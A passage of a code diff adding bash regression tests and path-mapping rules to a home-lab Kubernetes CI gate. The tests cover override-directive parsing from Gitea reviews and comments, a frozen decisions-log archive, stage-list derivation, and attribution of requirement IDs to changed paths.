+expect_none "a directive followed by only whitespace is refused" \
+  "$(comment jakman85 "$AFTER" '/approve-override    ')"
+
+# --- the directive must START a line --------------------------------------------------
+expect_none "the directive mid-sentence does not count" \
+  "$(comment jakman85 "$AFTER" 'you could just /approve-override this one')"
+expect_none "a QUOTED directive does not re-arm an override" \
+  "$(comment jakman85 "$AFTER" '> /approve-override quoting someone else')"
+expect_user "leading whitespace before the directive is fine" \
+  "$(comment jakman85 "$AFTER" '   /approve-override indented but mine')" jakman85
+expect_user "the directive on a later line of a longer comment counts" \
+  "$(comment jakman85 "$AFTER" 'some preamble
+/approve-override the real reason here')" jakman85
+
+# --- staleness: an override must post-date the commit it waives review on -------------
+expect_none "an override OLDER than the head commit is dropped as stale" \
+  "$(comment jakman85 "$BEFORE" '/approve-override stale, predates the push')"
+expect_none "an override exactly AT the head commit time is dropped (strictly newer)" \
+  "$(comment jakman85 "$HEAD_TIME" '/approve-override same instant')"
+
+# --- malformed input is never a free pass --------------------------------------------
+expect_none "an unreadable timestamp drops the candidate" \
+  "$(comment jakman85 'not-a-date' '/approve-override bad clock')"
+expect_none "a comment with no author is dropped" \
+  '[{"user": {}, "created_at": "2026-10-01T12:30:00Z", "body": "/approve-override no login"}]'
+expect_none "invalid JSON yields no override (and never a traceback into stdout)" \
+  'this is not json'
+expect_none "a JSON object instead of a list yields no override" \
+  '{"user": "nope"}'
+
+# --- latest wins ----------------------------------------------------------------------
+TWO='[
+  {"user": {"login": "early"},  "created_at": "2026-10-01T12:10:00Z", "body": "/approve-override first"},
+  {"user": {"login": "latest"}, "created_at": "2026-10-01T12:40:00Z", "body": "/approve-override second"}
+]'
+expect_user "the LATEST override supersedes an earlier one" "$TWO" latest
+expect_reason "and brings its own reason" "$TWO" second
+
+# --- offsets, not just Z --------------------------------------------------------------
+# Gitea emits RFC3339 WITH AN OFFSET (measured: 2026-10-01T23:09:08-05:00), not a trailing Z.
+# A parser that only handles 'Z' silently drops every real override, so this case is load-bearing.
+expect_user "an RFC3339 offset timestamp (-05:00), as Gitea actually emits, parses" \
+  '[{"user": {"login": "jakman85"}, "created_at": "2026-10-01T08:30:00-05:00", "body": "/approve-override offset form"}]' \
+  jakman85
+expect_none "and an offset timestamp that is genuinely earlier is still stale" \
+  '[{"user": {"login": "jakman85"}, "created_at": "2026-10-01T06:00:00-05:00", "body": "/approve-override offset, stale"}]'
+
+# --- the directive is configurable ----------------------------------------------------
+out="$(run "$(comment jakman85 "$AFTER" '/admin-waive because policy says so')" "$HEAD_TIME" '/admin-waive')"
+if [ "$(cut -f1 <<<"$out")" = "jakman85" ]; then
+  ok "a custom directive from the declaration is honoured"
+else
+  bad "a custom directive from the declaration is honoured (got '${out}')"
+fi
+expect_none "the default directive does not match a custom-directive comment" \
+  "$(comment jakman85 "$AFTER" '/admin-waive because policy says so')"
+
+# --- no staleness anchor: do not invent one -------------------------------------------
+out="$(COMMENTS_JSON="$(comment jakman85 "$BEFORE" '/approve-override no anchor')" \
+       HEAD_TIME="" DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+if [ "$(cut -f1 <<<"$out")" = "jakman85" ]; then
+  ok "with no HEAD_TIME the staleness test is skipped, not faked (caller blocks instead)"
+else
+  bad "with no HEAD_TIME the candidate should still be returned (got '${out}')"
+fi
+
+# --- the REVIEWS source ---------------------------------------------------------------
+# Load-bearing, not redundant. Measured on PR #38: SETTINGS_API_TOKEN is minted
+# [read:repository, read:admin], /issues/{n}/comments needs the ISSUE scope, so a well-formed
+# override in the comment box came back as an error object and was invisible. /pulls/{n}/reviews
+# IS readable with that token, so a review body is the route that works today.
+check "a review body carries an override" \
+  "$(cut -f1 <<<"$(run_rev "$(review jakman85 "$AFTER" COMMENT '/approve-override via a review')")")" \
+  jakman85
+check "the source is reported as 'review'" \
+  "$(cut -f3 <<<"$(run_rev "$(review jakman85 "$AFTER" COMMENT '/approve-override via a review')")")" \
+  review
+check "the source is reported as 'comment' for a comment" \
+  "$(cut -f3 <<<"$(run "$(comment jakman85 "$AFTER" '/approve-override via a comment')")")" \
+  comment
+
+out="$(run_rev "$(review jakman85 "$BEFORE" COMMENT '/approve-override stale review')")"
+check "a stale review override is dropped too" "${out:-<none>}" "<none>"
+
+out="$(run_rev "$(review jakman85 "$AFTER" PENDING '/approve-override unsubmitted draft')")"
+check "a PENDING (unsubmitted) review is NOT an act of anything" "${out:-<none>}" "<none>"
+
+check "an APPROVED review carrying the directive still counts as an override" \
+  "$(cut -f1 <<<"$(run_rev "$(review jakman85 "$AFTER" APPROVED '/approve-override belt and braces')")")" \
+  jakman85
+
+out="$(run_rev "$(review jakman85 "$AFTER" COMMENT 'ordinary review prose, no directive')")"
+check "an ordinary review body is not an override" "${out:-<none>}" "<none>"
+
+# --- an unreadable source degrades to 'no candidates', never to a pass ----------------
+# The real-world shape: Gitea answers with {"message": "token does not have ... scope"}.
+ERR_OBJ='{"message":"token does not have at least one of required scope(s): [read:issue]"}'
+out="$(COMMENTS_JSON="$ERR_OBJ" REVIEWS_JSON="" HEAD_TIME="$HEAD_TIME" \
+       DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "an error OBJECT from the comments API yields no override" "${out:-<none>}" "<none>"
+
+out="$(COMMENTS_JSON="$ERR_OBJ" \
+       REVIEWS_JSON="$(review jakman85 "$AFTER" COMMENT '/approve-override reviews still work')" \
+       HEAD_TIME="$HEAD_TIME" DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "an unreadable COMMENTS source does not suppress a valid REVIEW override" \
+  "$(cut -f1 <<<"$out")" jakman85
+
+# and it must SAY so, or a scope problem reads as 'you never posted one' (it did, on PR #38)
+errout="$(COMMENTS_JSON="$ERR_OBJ" REVIEWS_JSON="" HEAD_TIME="$HEAD_TIME" \
+          DIRECTIVE=/approve-override python3 "$SUT" 2>&1 >/dev/null)"
+case "$errout" in
+  *"not a list"*read:issue*) ok "the diagnostic names the scope Gitea complained about" ;;
+  *) bad "the diagnostic should quote Gitea's message (got: ${errout})" ;;
+esac
+
+# --- latest wins ACROSS the two sources ----------------------------------------------
+out="$(COMMENTS_JSON="$(comment early "2026-10-01T12:10:00Z" '/approve-override from a comment')" \
+       REVIEWS_JSON="$(review later "2026-10-01T12:50:00Z" COMMENT '/approve-override from a review')" \
+       HEAD_TIME="$HEAD_TIME" DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "the latest override wins across both sources (review newer)" "$(cut -f1 <<<"$out")" later
+check "and its source is labelled" "$(cut -f3 <<<"$out")" review
+
+out="$(COMMENTS_JSON="$(comment later "2026-10-01T12:50:00Z" '/approve-override from a comment')" \
+       REVIEWS_JSON="$(review early "2026-10-01T12:10:00Z" COMMENT '/approve-override from a review')" \
+       HEAD_TIME="$HEAD_TIME" DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "the latest override wins across both sources (comment newer)" "$(cut -f1 <<<"$out")" later
+check "and that source is labelled too" "$(cut -f3 <<<"$out")" comment
+
+# --- both sources absent entirely -----------------------------------------------------
+out="$(COMMENTS_JSON="" REVIEWS_JSON="" HEAD_TIME="$HEAD_TIME" \
+       DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "no sources at all yields no override, and no crash" "${out:-<none>}" "<none>"
+
+printf '\n  %d passed, %d failed\n' "$PASS" "$FAIL"
+[ "$FAIL" -eq 0 ] || exit 1

ci/tests/decisions-log.test.sh

@@ -0,0 +1,130 @@
+#!/usr/bin/env bash
+# ci/tests/decisions-log.test.sh — proves ci/decisions-log.sh actually fails closed.
+#
+# The stage exists because appending to DECISIONS-LOG.md silently re-creates a merge conflict
+# for every other open branch. A guard against a silent regression is itself worth nothing
+# unless somebody has watched it reject the thing it claims to reject, so each case below
+# CONSTRUCTS the violation in a throwaway tree and asserts a non-zero exit — the same reasoning
+# as ci/tests/gate-decision.test.sh, one layer down.
+set -uo pipefail
+REAL_CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+
+PASS=0 FAIL=0
+ok()  { printf '  ok   %s\n' "$*"; PASS=$((PASS+1)); }
+bad() { printf '  FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
+
+TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
+
+# A minimal well-formed tree: the frozen archive, its pin, and one valid entry.
+mk_tree() {
+  local d="$1"; rm -rf "$d"; mkdir -p "$d/ci" "$d/decisions"
+  cp "${REAL_CI_DIR}/decisions-log.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$d/ci/"
+  printf 'frozen history\n' > "$d/DECISIONS-LOG.md"
+  ( cd "$d" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 )
+  mk_entry "$d/decisions/2026-09-29-a-good-entry.md" 2026-09-29
+  # REPO_ROOT in ci/lib.sh is derived from git; give the tree a repo so it resolves here.
+  ( cd "$d" && git init -q . && git add -A && git -c user.email=t@t -c user.name=t commit -qm init )
+}
+
+mk_entry() {
+  cat > "$1" <<ENTRY
+---
+date: $2
+branch: chore/example
+title: An example entry
+---
+
+## What changed
+
+Enough prose here to clear the twenty-character body floor comfortably.
+
+## What I verified
+
+Enough prose here to clear the twenty-character body floor comfortably.
+
+## What I did NOT verify
+
+Enough prose here to clear the twenty-character body floor comfortably.
+ENTRY
+}
+
+# run <dir> -> sets RC and OUT
+run() { OUT="$( cd "$1" && bash ci/decisions-log.sh 2>&1 )"; RC=$?; }
+
+D="${TMP}/t"
+
+echo "== 1. a well-formed tree passes"
+mk_tree "$D"; run "$D"
+[ "$RC" -eq 0 ] && ok "clean tree -> exit 0" || bad "clean tree -> exit ${RC}: ${OUT}"
+
+echo
+echo "== 2. THE REGRESSION THIS STAGE EXISTS FOR: appending to the frozen archive"
+mk_tree "$D"; printf '\n## my new handoff\n' >> "$D/DECISIONS-LOG.md"; run "$D"
+[ "$RC" -ne 0 ] && ok "append to DECISIONS-LOG.md -> non-zero (${RC})" \
+                || bad "append to DECISIONS-LOG.md was ACCEPTED — the guard is inert"
+grep -qi 'frozen archive' <<<"$OUT" && ok "the message names the archive as frozen" \
+                                    || bad "the message does not say the archive is frozen"
+grep -q 'decisions/\$(date +%F)' <<<"$OUT" && ok "the message names the file to write instead" \
+                                           || bad "the message does not name the remedy"
+
+echo
+echo "== 3. a re-pin is a deliberate, accepted act"
+mk_tree "$D"; printf '\nredacted\n' >> "$D/DECISIONS-LOG.md"
+( cd "$D" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 ); run "$D"
+[ "$RC" -eq 0 ] && ok "archive changed AND re-pinned -> exit 0" || bad "re-pin rejected: ${OUT}"
+
+echo
+echo "== 4. a missing pin is unverifiable, not green"
+mk_tree "$D"; rm "$D/decisions/ARCHIVE.sha256"; run "$D"
+[ "$RC" -ne 0 ] && ok "no ARCHIVE.sha256 -> non-zero (${RC})" || bad "missing pin was accepted"
+
+echo
+echo "== 5. entry naming"
+for badname in 2026-9-29-x.md 26-09-29-x.md 2026-09-29-Upper.md 2026-09-29-.md 2026-02-30-x.md; do
+  mk_tree "$D"; mk_entry "$D/decisions/${badname}" 2026-09-29; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects decisions/${badname}" || bad "ACCEPTED decisions/${badname}"
+done
+mk_tree "$D"; mk_entry "$D/decisions/2026-10-01-fix-thing-2.md" 2026-10-01; run "$D"
+[ "$RC" -eq 0 ] && ok "accepts a digits-and-dashes slug" || bad "rejected a valid slug: ${OUT}"
+
+echo
+echo "== 6. frontmatter"
+mk_tree "$D"; sed -i '1d' "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+[ "$RC" -ne 0 ] && ok "rejects an entry with no frontmatter" || bad "accepted a bare entry"
+
+for key in date branch title; do
+  mk_tree "$D"; sed -i "/^${key}:/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects frontmatter missing '${key}'" || bad "accepted missing '${key}'"
+done
+
+# The copied-template failure: the body was rewritten, the date never was.
+mk_tree "$D"; mk_entry "$D/decisions/2026-09-30-copied.md" 2026-09-29; run "$D"
+[ "$RC" -ne 0 ] && ok "rejects a frontmatter date that disagrees with the filename" \
+                || bad "accepted a date/filename disagreement"
+
+echo
+echo "== 7. the three required sections, and their bodies"
+for sec in 'What changed' 'What I verified' 'What I did NOT verify'; do
+  mk_tree "$D"; sed -i "/^## ${sec}\$/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects an entry missing '## ${sec}'" || bad "accepted missing '## ${sec}'"
+done
+
+# A heading with nothing under it is the way this floor gets defeated in practice.
+mk_tree "$D"
+python3 - "$D/decisions/2026-09-29-a-good-entry.md" <<'PY'
+import sys,re
+p=sys.argv[1]; s=open(p).read()
+s=re.sub(r'## What I did NOT verify\n\n.*', '## What I did NOT verify\n\nn/a\n', s, flags=re.S)
+open(p,'w').write(s)
+PY
+run "$D"
+[ "$RC" -ne 0 ] && ok "rejects a stub body under a required section" || bad "accepted an 'n/a' section"
+
+echo
+echo "== 8. README.md in decisions/ is not an entry and is not policed as one"
+mk_tree "$D"; printf 'not an entry\n' > "$D/decisions/README.md"; run "$D"
+[ "$RC" -eq 0 ] && ok "decisions/README.md ignored by the entry rules" || bad "README policed: ${OUT}"
+
+echo
+if [ "$FAIL" -eq 0 ]; then echo "decisions-log tests: PASS ($PASS assertions)"; exit 0
+else echo "decisions-log tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi

ci/tests/gate-decision.test.sh

@@ -36,7 +36,22 @@ REPO="${TMP}/repo"; mkdir -p "$REPO"
 cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$CI/"
 
 # One stub per stage. It exits with STAGE_RC_<stage-with-dashes-as-underscores>, default 0.
-for stage in spec-immutability lint l0 render-golden l1 conformance; do
+# NOTE: this list must name EVERY stage gate.sh runs. It did not: `gitea-settings` was added to
+# gate.sh and never added here, so its script was absent from the stub CI dir, `run_stage` got
+# exit 127 from the missing file, and the gate recorded a FAILED stage in every single case —
+# 15 of 47 assertions failed on `main` for that reason alone, including every one that expects a
+# PASS/UNDETERMINED/NOT-APPLICABLE headline. The suite was measuring the missing stub, not the
+# decision logic. `decisions-log` is added here in the same change that adds it to gate.sh.
+#
+# AND IT HAPPENED AGAIN, with `approval-policy` (fixed 2026-10-01). Same shape, same cost: the
+# stage was added to gate.sh by PR #17, never added here, so 15 of 50 assertions failed on `main`
+# — measured on 0c7e8dd before touching anything, to be sure it was not the change under test.
+# The note above was written about the previous instance and did not prevent the next one, which
+# says the comment is not the fix. THE FIX IS TO DERIVE THE LIST: it now comes from gate.sh's own
+# `run_stage` calls, so a stage added there can no longer be silently missing here.
+mapfile -t STAGES < <(sed -n 's/^run_stage[[:space:]]\+\([a-z0-9-]\+\).*/\1/p' "${REAL_CI_DIR}/gate.sh")
+[ "${#STAGES[@]}" -ge 8 ] || { echo "could not parse stage names out of gate.sh (got ${#STAGES[@]})" >&2; exit 1; }
+for stage in "${STAGES[@]}"; do
   cat > "${CI}/${stage}.sh" <<'STUB'
 #!/usr/bin/env bash
 n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"
@@ -184,6 +199,21 @@ assert_verdict BLOCKED 1 "l0 FAILED + l1 SKIPPED"
 run_gate STAGE_RC_spec_immutability=3 STAGE_RC_conformance=3
 assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED + conformance declared-absent"
 
+echo
+echo "== 10. decisions-log: the handoff log's storage format has no non-blocking outcome"
+# A FAIL here means the frozen archive was appended to (re-creating, for every OTHER open
+# branch, the tail-hunk conflict that made 4 of 5 PRs unmergeable on 2026-09-29) or an entry is
+# malformed. A SKIP is impossible by construction — the stage needs no tool and no cluster — so
+# if one is ever reported it is a defect in the stage, and the gate must not soften it into
+# UNDETERMINED. Both outcomes block, and neither is upgradeable by an env knob: there is
+# deliberately no REQUIRE_DECISIONS_LOG, because a guard with an off switch is not a guard.
+run_gate STAGE_RC_decisions_log=1
+assert_verdict BLOCKED 1 "decisions-log FAILED (archive modified / entry malformed)"
+run_gate STAGE_RC_decisions_log=3
+assert_verdict BLOCKED 1 "decisions-log SKIPPED (impossible by construction -> defect, blocks)"
+run_gate STAGE_RC_decisions_log=1 STAGE_RC_l1=3
+assert_verdict BLOCKED 1 "decisions-log FAILED outranks an l1 non-run"
+
 echo
 if [ "$FAIL" -eq 0 ]; then echo "gate-decision tests: PASS ($PASS assertions)"; exit 0
 else echo "gate-decision tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi

ci/tests/touched-requirements.test.sh

@@ -136,6 +136,98 @@ printf 'touched set (clusters/ path map):\n%s\n---\n' "$OUT4"
 assert_present "R-ENV-02"     "$OUT4" "clusters/* attributes R-ENV-02 (selects placeholder-guard-coupling HALF A)"
 assert_present "R-GITOPS-01"  "$OUT4" "clusters/* attributes R-GITOPS-01"
 
+# ---------------------------------------------------------------------------------------
+# PATH MAP — apps/*, the C2 UI, and the platform assembly (added 2026-09-19)
+#
+# These arms closed the largest remaining fail-open hole in the map. Before them, 49 tracked
+# app manifests (apps/wave-0, -1, -2, apps/vms) plus platform/homepage, platform/headlamp,
+# platform/gateway, platform/kubevirt, platform/crafty, platform/coredns, the snapshot/backup
+# machinery and platform/kustomization.yaml all attributed NOTHING — so a change to any of them
+# selected only the whole-repo-scoped checks, and every requirement-scoped L2 behaviour test
+# (default-deny, egress class, auth mode, C2 surface) was filtered out of the merge gate.
+#
+# The C2 case was already documented as a known gap in changed_diff()'s rule-3 comment: the ONLY
+# route to R-C2-01/02 was rule 3, i.e. editing the C2 test itself.
+#
+# As with bootstrap/ above, each fixture cites NO R-ID of its own, so any R-ID in the output came
+# from the PATH and not from the content scan.
+
+# apps/vms/* must win over apps/* — `case` takes the FIRST match, so arm ORDER is the property
+# under test here, not just the presence of both arms.
+git -C "$TMP" checkout -q -b feature-apps-vms main
+mkdir -p "$TMP/apps/vms/demo"
+printf 'kind: VirtualMachine\nmetadata:\n  name: demo\n' > "$TMP/apps/vms/demo/vm.yaml"
+git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch apps/vms/"
+OUT_VMS="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
+printf 'touched set (apps/vms/ path map):\n%s\n---\n' "$OUT_VMS"
+assert_present "R-PLAT-03"  "$OUT_VMS" "apps/vms/* attributes R-PLAT-03 (KubeVirt VM lifecycle)"
+assert_present "R-STATE-01" "$OUT_VMS" "apps/vms/* attributes R-STATE-01 (VM root/data volumes)"
+assert_absent  "R-PLAT-02"  "$OUT_VMS" "apps/vms/* does NOT fall through to the apps/* container arm (order holds)"
+
+# A plain ServiceDefinition under apps/ gets the container-workload set.
+git -C "$TMP" checkout -q -b feature-apps main
+mkdir -p "$TMP/apps/wave-1"
+printf 'kind: ServiceDefinition\nmetadata:\n  name: demo\n' > "$TMP/apps/wave-1/demo.yaml"
+git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch apps/wave-1/"
+OUT_APPS="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
+printf 'touched set (apps/ path map):\n%s\n---\n' "$OUT_APPS"
+assert_present "R-PLAT-02"  "$OUT_APPS" "apps/* attributes R-PLAT-02 (container workload render)"
+assert_present "R-NET-01"   "$OUT_APPS" "apps/* attributes R-NET-01 (default-deny applies to every app)"
+assert_present "R-NET-06"   "$OUT_APPS" "apps/* attributes the egress-class requirements"
+assert_present "R-IDP-02"   "$OUT_APPS" "apps/* attributes the auth-mode requirements"
+
+# homepage / headlamp ARE the command-centre surface.
+git -C "$TMP" checkout -q -b feature-c2 main
+mkdir -p "$TMP/platform/headlamp"
+printf 'kind: Deployment\nmetadata:\n  name: headlamp\n' > "$TMP/platform/headlamp/deployment.yaml"
+git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch platform/headlamp/"
+OUT_C2="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
+printf 'touched set (C2 path map):\n%s\n---\n' "$OUT_C2"
+assert_present "R-C2-01" "$OUT_C2" "platform/headlamp/* attributes R-C2-01 (was reachable only by editing the C2 test)"
+assert_present "R-C2-02" "$OUT_C2" "platform/headlamp/* attributes R-C2-02"
+
+# platform/kustomization.yaml is the assembly: one deleted line disables a whole component.
+git -C "$TMP" checkout -q -b feature-assembly main
+mkdir -p "$TMP/platform"
+printf 'resources:\n  - cilium\n  - longhorn\n' > "$TMP/platform/kustomization.yaml"
+git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch platform/kustomization.yaml"
+OUT_ASM="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
+printf 'touched set (platform assembly):\n%s\n---\n' "$OUT_ASM"
+assert_present "R-GITOPS-01" "$OUT_ASM" "platform/kustomization.yaml attributes R-GITOPS-01 (component assembly)"
+
+# ---------------------------------------------------------------------------------------
+# THE ID PATTERN MUST ALLOW A DIGIT IN THE WORKSTREAM SEGMENT (added 2026-09-13)
+#
+# The content scan's pattern was `R-[A-Z]+-[0-9]+`, which CANNOT match `R-C2-01` or
+# `R-C2-02` — `[A-Z]+` consumes the `C` and then demands a `-` where the `2` is. Those are
+# the only two registry IDs whose workstream segment carries a digit, and the scan was blind
+# to BOTH, in the fail-OPEN direction: a change self-declaring a C2 requirement contributed
+# it to nobody, so the C2 conformance tests were filtered out of the merge gate. Found while
+# wiring conformance/tests/l0-static/c2-root-surface, which closes those two coverage gaps.
+#
+# `notes/` is outside path_requirements() on purpose, so the IDs below can only have come
+# from the CONTENT SCAN. A neighbouring all-letter ID is asserted too, so a regex that
+# somehow matched only the digit form would still fail here.
+git -C "$TMP" checkout -q -b feature5 main
+cat > "$TMP/notes/c2.yaml" <<'YAML'
+kind: Test
+metadata:
+  labels:
+    conformance.home.k3s/R-C2-01: "true"
+    conformance.home.k3s/R-C2-02: "true"
+    conformance.home.k3s/R-OBS-04: "true"
+YAML
+git -C "$TMP" add -A && git -C "$TMP" commit -qm "declare R-C2-01 / R-C2-02"
+OUT5="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
+printf 'touched set (digit in the workstream segment):\n%s\n---\n' "$OUT5"
+assert_present "R-C2-01"  "$OUT5" "an R-ID with a DIGIT in the workstream segment IS attributed (R-C2-01)"
+assert_present "R-C2-02"  "$OUT5" "the second such ID is attributed too (R-C2-02)"
+assert_present "R-OBS-04" "$OUT5" "an all-letter workstream segment still works (control)"
+# The pattern must not become so loose that a non-ID token is read as a requirement: a bare
+# numeric workstream is not a registry shape, and attributing one would WIDEN the gate on
+# noise (over-broad selection, never a false green, but noisy and misleading).
+assert_absent  "R-1-01"   "$OUT5" "a purely numeric workstream segment is not invented from thin air"
+
 echo
 if [ "$FAIL" -eq 0 ]; then echo "touched-requirements tests: PASS ($PASS assertions)"; exit 0;
 else echo "touched-requirements tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi

ci/touched-requirements.sh

@@ -177,6 +177,23 @@ path_requirements() {
   case "$1" in
     catalog/*)                 echo "R-GITOPS-02" ;;
     schemas/*)                 echo "R-GITOPS-02" ;;
+    # apps/* was UNMAPPED until 2026-09-19, and it is the largest such hole in the map: 49 tracked
+    # manifests (apps/wave-0, -1, -2, apps/vms) that describe every workload on the cluster. A change
+    # adding or editing an app attributed NOTHING, so the merge gate ran only the whole-repo-scoped
+    # checks and none of the requirement-scoped L2 behaviour tests — default-deny enforcement, egress
+    # class enforcement, auth-mode enforcement — which are exactly what a new or edited app can
+    # violate. Kyverno admission and the L0 egress-path check are real backstops, but "admission will
+    # catch it at apply time" is post-merge, and the gate exists to catch it before.
+    #
+    # ORDER MATTERS: `case` takes the FIRST match, so apps/vms/* must precede apps/*.
+    # apps/vms/ are KubeVirt VMs (R-PLAT-03 lifecycle) with root/data volumes (R-STATE-01), still
+    # subject to default-deny (R-NET-01).
+    apps/vms/*)                echo "R-PLAT-03 R-NET-01 R-STATE-01" ;;
+    # Everything else under apps/ is a ServiceDefinition rendered by catalog/render.py: a container
+    # workload (R-PLAT-02) rendered from the catalog (R-GITOPS-02), carrying the egress-class
+    # (R-NET-05/06/07) and auth-mode (R-IDP-02/R-IDP-06) labels that admission requires, under
+    # default-deny (R-NET-01).
+    apps/*)                    echo "R-PLAT-02 R-GITOPS-02 R-NET-01 R-NET-05 R-NET-06 R-NET-07 R-IDP-02 R-IDP-06" ;;
     platform/kyverno/*)        echo "R-TEST-01 R-NET-01 R-SEC-01" ;;
     platform/cilium/*)         echo "R-NET-01 R-NET-02 R-NET-05" ;;
     platform/longhorn/*)       echo "R-STATE-01 R-STATE-02" ;;
@@ -208,6 +225,39 @@ path_requirements() {
     platform/keycloak/*)       echo "R-IDP-01 R-IDP-02 R-IDP-03 R-IDP-04 R-IDP-05 R-IDP-06" ;;
     platform/oauth2-proxy/*)   echo "R-IDP-02 R-IDP-06" ;;
     platform/image-automation/*) echo "R-UPD-01 R-UPD-02" ;;
+    # The C2 UI was UNMAPPED until 2026-09-19. This is the gap named explicitly in changed_diff()'s
+    # rule-3 comment above: "path_requirements() has no arm for platform/homepage/* or
+    # platform/headlamp/* either, so the ONLY route to R-C2-01/02 was rule 3 (editing the C2 test
+    # itself)". homepage + headlamp ARE the command-centre surface (registry: R-C2-01/02 ->
+    # docs/12-command-center-ui.md), so editing them must select the C2 tests.
+    platform/homepage/*|platform/headlamp/*) echo "R-C2-01 R-C2-02" ;;
+    # KubeVirt is the VM platform itself (R-PLAT-03); its virt-* components are also scrape targets.
+    platform/kubevirt/*)       echo "R-PLAT-03 R-OBS-01" ;;
+    # The shared ingress Gateway: the L2-announced VIP every HTTP service answers on (R-DNS-01), the
+    # TLS listeners and their certificates (R-TLS-01/02), under default-deny (R-NET-01).
+    platform/gateway/*)        echo "R-DNS-01 R-TLS-01 R-TLS-02 R-NET-01" ;;
+    # CoreDNS is cluster DNS resolution (R-DNS-01).
+    platform/coredns/*)        echo "R-DNS-01" ;;
+    # crafty is a first-class app living under platform/: a container workload with a Longhorn PVC and
+    # its OWN L4 LoadBalancer VIP (Minecraft 25565 is not HTTP, so it does not use the Gateway).
+    platform/crafty/*)         echo "R-PLAT-02 R-NET-01 R-DNS-01 R-STATE-01" ;;
+    # Snapshot machinery is the storage/DR path: CSI snapshots (R-STATE-01) feeding backup (R-STATE-03).
+    platform/external-snapshotter/*|platform/backup/*) echo "R-STATE-01 R-STATE-03" ;;
+    # runbooks/ IS the R-OBS-04 surface: alert-runbooks-resolvable asserts every alert's runbook_url
+    # resolves to a served page, and runbooks/serving/ is the Deployment that serves them. That check
+    # is whole-repo-scoped so it runs regardless, but the attribution should still be honest — a
+    # runbook change is an observability change.
+    runbooks/*)                echo "R-OBS-04" ;;
+    # platform-config/ is the env-specific configuration Flux substitutes into and applies.
+    platform-config/*|platform-config-cdi/*) echo "R-ENV-02 R-GITOPS-01" ;;
+    # platform/kustomization.yaml is the ASSEMBLY: the list of platform components Flux applies.
+    # Deleting one line there disables an entire component (cilium, longhorn, velero...) while every
+    # file it points at stays perfectly valid on disk, so nothing else in the map would attribute the
+    # change. That is the most consequential single-line edit in the repo and it attributed nothing.
+    platform/kustomization.yaml) echo "R-GITOPS-01" ;;
+    # .sops.yaml holds the encryption rules (which paths must be encrypted, with which keys). A change
+    # here can silently stop a new secret path from being encrypted, which is R-SEC-01's whole point.
+    .sops.yaml)                echo "R-SEC-01 R-GITOPS-01" ;;
     conformance/*)             echo "R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04" ;;
     # infra/ was UNMAPPED until 2026-09-12 — the OpenTofu + Ansible that provision the dev
     # nodes. conformance/tests/l0-static/dev-nodes-provisioned-as-code reads NOTHING but
@@ -345,6 +395,21 @@ main() {
   done <<< "$files"
 
   # Self-declared R-IDs on the ADDED/REMOVED lines of the change (see changed_diff).
+  #
+  # THE ID PATTERN IS `R-[A-Z0-9]+-[0-9]+`, NOT `R-[A-Z]+-[0-9]+`. The WORKSTREAM segment may
+  # contain a DIGIT: `R-C2-01` and `R-C2-02` (command & control UI) are the only two such IDs
+  # in conformance/requirements/registry.yaml today, and the stricter pattern silently failed
+  # to match BOTH of them — `[A-Z]+` consumes the `C` and then demands a `-` where the `2` is.
+  # Every other consumer in the repo already allows the digit: test_requirements_for_path()
+  # twenty lines above uses `R-[A-Z0-9]+-[0-9]+`, as do conformance/lib/coverage.py,
+  # conformance/lib/status.py and conformance/lib/run_l1_offline.py. This grep was the lone
+  # dissenter, and it dissented by UNDER-attributing — the fail-OPEN direction. A change that
+  # retyped a `conformance.home.k3s/R-C2-01` tag, or a manifest self-declaring R-C2-02 from a
+  # path the map keys elsewhere, contributed those IDs to NOBODY, so the C2 tests were
+  # filtered out of the merge gate. Same defect class as the map's `*) : ;;` arm: a miss that
+  # reads as "nothing touched". path_requirements() has no arm for platform/homepage/* or
+  # platform/headlamp/* either, so before this fix the ONLY route to R-C2-01/02 was rule 3
+  # (editing the C2 test itself). Regression-tested in ci/tests/touched-requirements.test.sh.
   # `^[+-]` keeps hunk headers (`@@`) and the `+++`/`---` file headers out of scope.
   # `sed 's/^[+-]//'` then strips the single-char diff marker (safe: -U0 emits one), so
   #   what remains is the SOURCE line, and `grep -vE '^[[:space:]]*#'` drops whole-line
@@ -358,7 +423,7 @@ main() {
     | grep -vE '^(\+\+\+|---)' \
     | sed -E 's/^[+-]//' \
     | grep -vE '^[[:space:]]*#' \
-    | grep -hoE 'R-[A-Z]+-[0-9]+' \
